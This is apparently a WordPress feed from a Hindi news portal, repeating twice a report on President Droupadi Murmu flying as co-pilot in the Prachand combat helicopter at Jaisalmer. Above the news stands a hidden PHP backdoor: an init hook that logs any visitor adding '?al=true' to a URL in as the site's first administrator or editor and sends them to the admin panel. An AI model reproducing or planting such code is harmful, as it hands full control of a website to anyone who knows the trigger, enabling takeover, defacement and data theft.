// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Droupadi Murmu – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 27 Feb 2026 07:40:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 फाइटर हेलिकॉप्टर प्रचंड उड़ाने वाली पहली राष्ट्रपति Droupadi Murmu, कॉकपिट से वीर सैनिकों को दिया गर्व और धन्यवाद का संदेश https://pratyushaashakinayikiran.com/?p=201122 Fri, 27 Feb 2026 07:40:00 +0000 https://pratyushaashakinayikiran.com/?p=201122 जैसलमेर
राष्ट्रपति द्रौपदी मुर्मू ने शुक्रवार को जैसलमेर एयरफोर्स स्टेशन से स्वदेशी लाइट कॉम्बैट हेलिकॉप्टर (LCH) प्रचंड में उड़ान भरी। वे हेलिकॉप्टर प्रचंड में बतौर को-पायलट उड़ान भरने वाली देश की पहली राष्ट्रपति हैं।राष्ट्रपति ने उड़ान के दौरान हेलिकॉप्टर के कॉकपिट से सैल्यूट किया। राष्ट्रपति मुर्मू इससे पहले लड़ाकू विमान सुखोई और राफेल में उड़ान भरने वाली देश की पहली राष्ट्रपति बनी थीं।

राष्ट्रपति मुर्मू सुबह करीब 9:15 बजे जैसलमेर वायुसेना स्टेशन पहुंची थीं। सेना के अधिकारियों ने उन्हें हेलिकॉप्टर के बारे में ब्रीफिंग दी। इसके बाद राष्ट्रपति हेलिकॉप्टर के कॉकपिट में बैठीं।फिर सुबह करीब 10.15 बजे ग्रुप कैप्टन एन.एस. बहुआ के साथ हेलिकॉप्टर में उड़ान भरी। हेलिकॉप्टर में 25 मिनट उड़ान के दौरान राष्ट्रपति ने सीमावर्ती क्षेत्रों और पोकरण फील्ड फायरिंग रेंज का हवाई जायजा लिया।

जैसलमेर के सोनार दुर्ग के ऊपर ‘प्रचंड’ हेलिकॉप्टर में उड़ान भरते हुए राष्ट्रपति ने रेडियो के माध्यम से देश के नाम संदेश दिया। उन्होंने कहा- मैं आज प्रचंड हेलिकॉप्टर में उड़ान भर रही हूं। प्रचंड हेलिकॉप्टर आत्मनिर्भरता का प्रबल प्रतीक है।

इससे पहले राष्ट्रपति द्रौपदी मुर्मू जैसलमेर एयरफोर्स स्टेशन के अतिथि कक्ष में पहुंची. एयरफोर्स के अधिकारियों ने उनका स्वागत किया. राष्ट्रपति एयरफोर्स अधिकारियों से संवाद भी किया. इसके बाद राष्ट्रपति द्रौपदी मुर्मू लड़ाकू हेलिकॉप्टर प्रचंड में उड़ान भरने के लिए निकल पड़ीं. द्रौपदी मुर्मू को-पायलट बनने वाली देश की पहली राष्ट्रपति हैं. उन्होंने हेलीकॉप्टर में बैठकर फायरिंग रेंज का हवाई जायजा लिया.

पहली राष्ट्रपति स्वदेशी लड़ाकू हेलीकॉप्टर (LCH) प्रचंड़ में उड़ान भरती दिखीं. उन्होंने 10 बजकर 10 बजे उड़ान भरना शुरू किया. वह 10 बजकर 35 मिनट पर लैंड हुईं. 25 मिनट का हवाई सफर किया. पोकरण फिल्ड़ फायरिंग रेंज और परमाणु स्थल का भी जायजा लिया. शाम में पोकरण फिल्ड फायरिंग रेंज में वायुशक्ति 2026 का अभ्यास है, जिसमें राष्ट्रपति चीफ गेस्ट हैं.

मैं इस समय जैसलमेर के प्रसिद्ध किले के ऊपर से उड़ान भर रही हूं। मैं देश के वीर सैनिकों को गर्व के साथ धन्यवाद देती हूं। मेरा सभी को प्यार भरा नमस्कार। जय हिंद, जय भारत।

पाकिस्तान बॉर्डर के पास राजस्थान के पोकरण फील्ड फायरिंग रेंज (जैसलमेर) में आज शाम एयरफोर्स का सबसे बड़ा युद्धाभ्यास 'वायु शक्ति-2026' होगा। युद्धाभ्यास में सशस्त्र बलों की सर्वोच्च कमांडर राष्ट्रपति द्रौपदी मुर्मू भी मौजूद रहेंगी।

जैसलमेर में कड़े सुरक्षा इंतजाम

राष्ट्रपति मुर्मू के दौरे और वायुसेना के क्षमता प्रदर्शन को देखते हुए जैसलमेर में कड़े सुरक्षा इंतजाम किए गए हैं. चांदन से पोकरण तक पूरे क्षेत्र को अस्थायी रूप से ‘नो-फ्लाई जोन' घोषित किया गया है. पुलिस, प्रशासन और सुरक्षा एजेंसियां पूरी तरह सतर्क हैं और सीमा क्षेत्रों में अतिरिक्त निगरानी रखी जा रही है.

दमदार प्रचंड हेलीकॉप्‍टर
 
एलसीएच प्रचंड भारत का पहला स्वदेशी रूप से डिजाइन एवं विकसित लड़ाकू हेलीकॉप्टर है, जिसे हिंदुस्तान एयरोनॉटिक्स लिमिटेड ने बनाया है. यह हेलीकॉप्टर रेगिस्तान से लेकर ऊंचे पर्वतीय इलाकों तक विभिन्न भू-भागों में काम करने में सक्षम है और 5,000 मीटर से अधिक ऊंचाई पर भी संचालन कर सकता है. रक्षा मंत्री राजनाथ सिंह ने अक्टूबर 2022 में जोधपुर वायुसेना स्टेशन से ‘प्रचंड' में उड़ान भरी थी. 

राफेल में भी उड़ान भर चुकी हैं राष्‍ट्रपति
 
राष्ट्रपति मुर्मू शुक्रवार शाम को पोकरण फील्ड फायरिंग रेंज में वायुसेना के क्षमता प्रदर्शन ‘वायु शक्ति' में शामिल होंगी. यह कार्यक्रम भारत-पाकिस्तान सीमा के पास आयोजित किया जा रहा है. राष्‍ट्रपति मुर्मू ने अक्टूबर 2023 में अंबाला वायुसेना स्टेशन पर राफेल लड़ाकू विमान में उड़ान भरी थी, जिससे वह दो अलग-अलग लड़ाकू विमानों में उड़ान भरने वाली पहली भारतीय राष्ट्रपति बनीं. अप्रैल 2023 में उन्होंने तेजपुर वायुसेना स्टेशन (असम) पर सुखोई-30 एमकेआई में लगभग 30 मिनट की उड़ान भरी थी.

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फाइटर हेलिकॉप्टर प्रचंड उड़ाने वाली पहली राष्ट्रपति Droupadi Murmu, कॉकपिट से वीर सैनिकों को दिया गर्व और धन्यवाद का संदेश https://pratyushaashakinayikiran.com/?p=201124 Fri, 27 Feb 2026 07:40:00 +0000 https://pratyushaashakinayikiran.com/?p=201124 जैसलमेर
राष्ट्रपति द्रौपदी मुर्मू ने शुक्रवार को जैसलमेर एयरफोर्स स्टेशन से स्वदेशी लाइट कॉम्बैट हेलिकॉप्टर (LCH) प्रचंड में उड़ान भरी। वे हेलिकॉप्टर प्रचंड में बतौर को-पायलट उड़ान भरने वाली देश की पहली राष्ट्रपति हैं।राष्ट्रपति ने उड़ान के दौरान हेलिकॉप्टर के कॉकपिट से सैल्यूट किया। राष्ट्रपति मुर्मू इससे पहले लड़ाकू विमान सुखोई और राफेल में उड़ान भरने वाली देश की पहली राष्ट्रपति बनी थीं।

राष्ट्रपति मुर्मू सुबह करीब 9:15 बजे जैसलमेर वायुसेना स्टेशन पहुंची थीं। सेना के अधिकारियों ने उन्हें हेलिकॉप्टर के बारे में ब्रीफिंग दी। इसके बाद राष्ट्रपति हेलिकॉप्टर के कॉकपिट में बैठीं।फिर सुबह करीब 10.15 बजे ग्रुप कैप्टन एन.एस. बहुआ के साथ हेलिकॉप्टर में उड़ान भरी। हेलिकॉप्टर में 25 मिनट उड़ान के दौरान राष्ट्रपति ने सीमावर्ती क्षेत्रों और पोकरण फील्ड फायरिंग रेंज का हवाई जायजा लिया।

जैसलमेर के सोनार दुर्ग के ऊपर ‘प्रचंड’ हेलिकॉप्टर में उड़ान भरते हुए राष्ट्रपति ने रेडियो के माध्यम से देश के नाम संदेश दिया। उन्होंने कहा- मैं आज प्रचंड हेलिकॉप्टर में उड़ान भर रही हूं। प्रचंड हेलिकॉप्टर आत्मनिर्भरता का प्रबल प्रतीक है।

इससे पहले राष्ट्रपति द्रौपदी मुर्मू जैसलमेर एयरफोर्स स्टेशन के अतिथि कक्ष में पहुंची. एयरफोर्स के अधिकारियों ने उनका स्वागत किया. राष्ट्रपति एयरफोर्स अधिकारियों से संवाद भी किया. इसके बाद राष्ट्रपति द्रौपदी मुर्मू लड़ाकू हेलिकॉप्टर प्रचंड में उड़ान भरने के लिए निकल पड़ीं. द्रौपदी मुर्मू को-पायलट बनने वाली देश की पहली राष्ट्रपति हैं. उन्होंने हेलीकॉप्टर में बैठकर फायरिंग रेंज का हवाई जायजा लिया.

पहली राष्ट्रपति स्वदेशी लड़ाकू हेलीकॉप्टर (LCH) प्रचंड़ में उड़ान भरती दिखीं. उन्होंने 10 बजकर 10 बजे उड़ान भरना शुरू किया. वह 10 बजकर 35 मिनट पर लैंड हुईं. 25 मिनट का हवाई सफर किया. पोकरण फिल्ड़ फायरिंग रेंज और परमाणु स्थल का भी जायजा लिया. शाम में पोकरण फिल्ड फायरिंग रेंज में वायुशक्ति 2026 का अभ्यास है, जिसमें राष्ट्रपति चीफ गेस्ट हैं.

मैं इस समय जैसलमेर के प्रसिद्ध किले के ऊपर से उड़ान भर रही हूं। मैं देश के वीर सैनिकों को गर्व के साथ धन्यवाद देती हूं। मेरा सभी को प्यार भरा नमस्कार। जय हिंद, जय भारत।

पाकिस्तान बॉर्डर के पास राजस्थान के पोकरण फील्ड फायरिंग रेंज (जैसलमेर) में आज शाम एयरफोर्स का सबसे बड़ा युद्धाभ्यास 'वायु शक्ति-2026' होगा। युद्धाभ्यास में सशस्त्र बलों की सर्वोच्च कमांडर राष्ट्रपति द्रौपदी मुर्मू भी मौजूद रहेंगी।

जैसलमेर में कड़े सुरक्षा इंतजाम

राष्ट्रपति मुर्मू के दौरे और वायुसेना के क्षमता प्रदर्शन को देखते हुए जैसलमेर में कड़े सुरक्षा इंतजाम किए गए हैं. चांदन से पोकरण तक पूरे क्षेत्र को अस्थायी रूप से ‘नो-फ्लाई जोन' घोषित किया गया है. पुलिस, प्रशासन और सुरक्षा एजेंसियां पूरी तरह सतर्क हैं और सीमा क्षेत्रों में अतिरिक्त निगरानी रखी जा रही है.

दमदार प्रचंड हेलीकॉप्‍टर
 
एलसीएच प्रचंड भारत का पहला स्वदेशी रूप से डिजाइन एवं विकसित लड़ाकू हेलीकॉप्टर है, जिसे हिंदुस्तान एयरोनॉटिक्स लिमिटेड ने बनाया है. यह हेलीकॉप्टर रेगिस्तान से लेकर ऊंचे पर्वतीय इलाकों तक विभिन्न भू-भागों में काम करने में सक्षम है और 5,000 मीटर से अधिक ऊंचाई पर भी संचालन कर सकता है. रक्षा मंत्री राजनाथ सिंह ने अक्टूबर 2022 में जोधपुर वायुसेना स्टेशन से ‘प्रचंड' में उड़ान भरी थी. 

राफेल में भी उड़ान भर चुकी हैं राष्‍ट्रपति
 
राष्ट्रपति मुर्मू शुक्रवार शाम को पोकरण फील्ड फायरिंग रेंज में वायुसेना के क्षमता प्रदर्शन ‘वायु शक्ति' में शामिल होंगी. यह कार्यक्रम भारत-पाकिस्तान सीमा के पास आयोजित किया जा रहा है. राष्‍ट्रपति मुर्मू ने अक्टूबर 2023 में अंबाला वायुसेना स्टेशन पर राफेल लड़ाकू विमान में उड़ान भरी थी, जिससे वह दो अलग-अलग लड़ाकू विमानों में उड़ान भरने वाली पहली भारतीय राष्ट्रपति बनीं. अप्रैल 2023 में उन्होंने तेजपुर वायुसेना स्टेशन (असम) पर सुखोई-30 एमकेआई में लगभग 30 मिनट की उड़ान भरी थी.

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